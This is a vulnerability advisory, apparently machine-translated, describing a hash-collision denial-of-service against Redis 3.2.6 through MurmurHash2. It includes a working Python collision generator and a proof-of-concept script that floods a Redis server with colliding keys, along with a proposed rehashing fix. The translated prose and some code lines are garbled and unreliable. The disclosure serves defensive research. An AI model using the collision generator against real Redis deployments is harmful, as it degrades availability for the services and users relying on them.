By the MurmurHash2 algorithm, a collision caused by Redis DDos attack vulnerability

2017-01-11T00:00:00
ID SSV:92615
Type seebug
Reporter 黑池白泽
Modified 2017-01-11T00:00:00

Description

Summary information:

  1. In Martin Bosslet 2012 this article, The author mentioned the MurmurHash2 algorithm was found to be the stable structure of the collision function, the hash function and its deformation is CRuby, JRuby, Rubinius, Redis, etc. open source components used.
  2. This article is based on Martin Bosslet found to continue Mining the results, in this Martin Bosslet thanks.
  3. The original authors of the collision function is based on the Ruby completion, there will be the release of the collision function of the Python version.
  4. In Martin Bosslet article on the collision function of the structure of the principle does not do enough thorough explanation, I will at a later time will analyze the structure of the principle portion of the Supplement.

Details:

  1. Redis uses MurmurHash2 algorithm as a data structure Hashtable hash algorithm.
  2. When the Hashtable that appear after the collision, Redis will select a collision of the item with the list is connected to, the latest item inserted in the list first.
  3. Redis, the Key and corresponding Value to the key value pairs stored in a Hashtable.
  4. Redis and not the user passed the Key to any coding it directly.
  5. In 2012, the MurmurHash2 algorithm was found to be the stable structure of the collision function.
  6. When a large number of using the Murmurhash2 algorithm to produce the mutual collision of the string as Key-value pairs inserted into Redis, in the access these key value pairs Hashtable behavior will degenerate into a linked list.

Validation:

Test platform: i3-3210, 8G Ram, Redis3. 2. 6, is located in the virtual machine, 2 cores CPU, 2G Ram

Redis3. 2. 6 Using the Murmurhash2 function: `` unsigned int mmhash_32(const void * key, int len) { / 'm' and 'r' are mixing constants generated offline. They're not really 'magic', they just happen to work well. */ const a uint32_t that m = 0x5bd1e995; const int r = 24;

/* Initialize the hash to a 'random' value */
a uint32_t that h = 5381 ^ len;

/* Mix 4 bytes at a time into the hash */
const unsigned char *data = (const unsigned char *)key;

while(len >= 4) {
 a uint32_t that k = *(uint32_t*)data;

 k *= m;
 k ^= k >> r;
 k *= m;

 h *= m;
 h ^= k;

 data += 4;
 len -= 4;
}

/* Handle the last few bytes of the input array */
switch(len) {
case 3: h ^= data[2] << 16;
case 2: h ^= data[1] << 8;
case 1: h ^= data[0]; h *= m;
};

/* Do a few final mixes of the hash to ensure the last few
 * bytes are well-incorporated. */
h ^= h >> 13;
h *= m;
h ^= h >> 15;

return (unsigned int)h;

} ``

poc_collision.py for the validation of the collision function which mmhash will Redis3. 2. 6 dictGenHashFunction package for Python to call, based on the _mmhash _magic change to: the ``

-- coding:utf-8 --

import mmhash from murmurhash2_collision import collision from binascii import crc32

c_l = list(collision(5)) hashs = (mmhash. get_hash_32(c) for c in c_l) crc32ed_collisions = (crc32(c) for c in c_l) print "crc32ed collision" + "\t" + "MurmurHash2ed collision" for pair in zip(crc32ed_collisions, hashs): print "{0}\t{1}". format(*pair) `` Output results: Visible indeed collide.

poc_redis.py for comparison Redis3. 2. 6 for an equal number of malicious and non-malicious data in the response: ``

-- coding:utf-8 --

import redis import os import time from murmurhash2_collision import collision BLOCK = 17

connection = redis. Redis(host="192.168.107.102", password="123456") func_set = connection. set

connection. flushall() print "Insert 2 {0} normal key-value pairs.". format(BLOCK) start = time. time() first_key = os. urandom(8*BLOCK) func_set(name=first_key, value="") for i in xrange(0, 2 BLOCK-1): func_set(os. urandom(8*BLOCK), value="") end = time. time() print "Insertion complete. It takes {1} seconds.". format(BLOCK, end - start) print "Now get the first inserted key." start = time. time() connection. get(first_key) end = time. time() print "It takes {0} seconds.". format(end - start)

print "_"_32

print "Now flush all the data." connection. flushall() print "Now insert 2**{0} key-value pairs with collisional strings as keys.". format(BLOCK) c = list(collision(BLOCK)) first_key = c[0] func_set(name=first_key, value="") start = time. time() for ck in c: func_set(name=ck, value="") end = time. time() print "Insertion complete. It takes {1} seconds.". format(BLOCK, end - start) print "Now get the first inserted key." start = time. time() connection. get(first_key) end = time. time() print "It takes {0} seconds.". format(end - start) `` Insert the common random number data when the Redis server load and insert malicious data to the server when the load comparison:

Output results: Visible in the input of a large number of malicious data to the Redis response speed has obvious decrease, which has been excluded generating the collision string.

Repair method:

Redis hashtable currently processing method of collision is a direct collision of the item with the list is connected. Recommended collision occurs when using a different hash function to rehash such as time33, and if the existing item is again a collision occurs, then use of the list will be item connected. In my cognitive range and perhaps not entirely correct for two different hash algorithm is stable construct collision is difficult.

Unfinished work

  1. Not tested at higher and lower the Redis response.
  2. The collision function of the construction principles for in-depth analysis.
  3. Research other uses MurmurHash2 algorithm of the software whether there the same vulnerability.

Reflection and questions

  1. Now I also can not accurately determine determine the vulnerability level of threat, on the one hand is limited by the on hand does not have the resources to verify Redis on the higher and lower response, on the other hand the vulnerability of the trigger must meet the client's input to be used as a Key and the intact inserted into Redis.
  2. This vulnerability discovery stems from my reading of the source code is on the MurmurHash2 algorithm Search, in Wikipedia's reference link is mentioned in Martin Bosslet article, while the article clearly pointed out Redis in the use of the algorithm. What are the reasons that this potential DDos vulnerabilities exist so many years?
                                        
                                            
                                                # murmurhash2_collision.py,用于构造碰撞:
```
# -*- coding:utf-8 -*-

import struct
import os

INV_MAGIC = 0xe59b19bd
R = 24
MASK_32 = 0xffffffff
DIFF = "\x00\x00\x00\x80\x00\x00\x00\x80"


def collision(blocks = 2):
    num_of_collision = 1 << blocks
    in0 = os.urandom(8 * blocks)
    in1 = "".join(chr(ord(in0[i]) ^ ord(DIFF[i % 8])) for i in xrange(0, 8 * blocks))

    in0 = __invert(in0)
    in1 = __invert(in1)

    # return a generator to reduce memory cost
    return ("".join((in0[8*index:8*index + 8]
                    if collision_num & (1 << index)
                    else in1[8*index:8*index + 8]
                     ) for index in xrange(0, blocks))
                for collision_num in xrange(0, num_of_collision))

def __invert(serial):
    result = []
    append = result.append
    for int32 in (struct.unpack("L", serial[block:block+4])[0] for block in range(0,len(serial), 4)):
        x = (int32 * INV_MAGIC) & MASK_32
        t = x >> R
        u = (x ^ t) >> R
        v = (x ^ u) >> R
        x ^= v
        x = (x * INV_MAGIC) & MASK_32
        append(struct.pack("L", x))
    return "".join(result)
```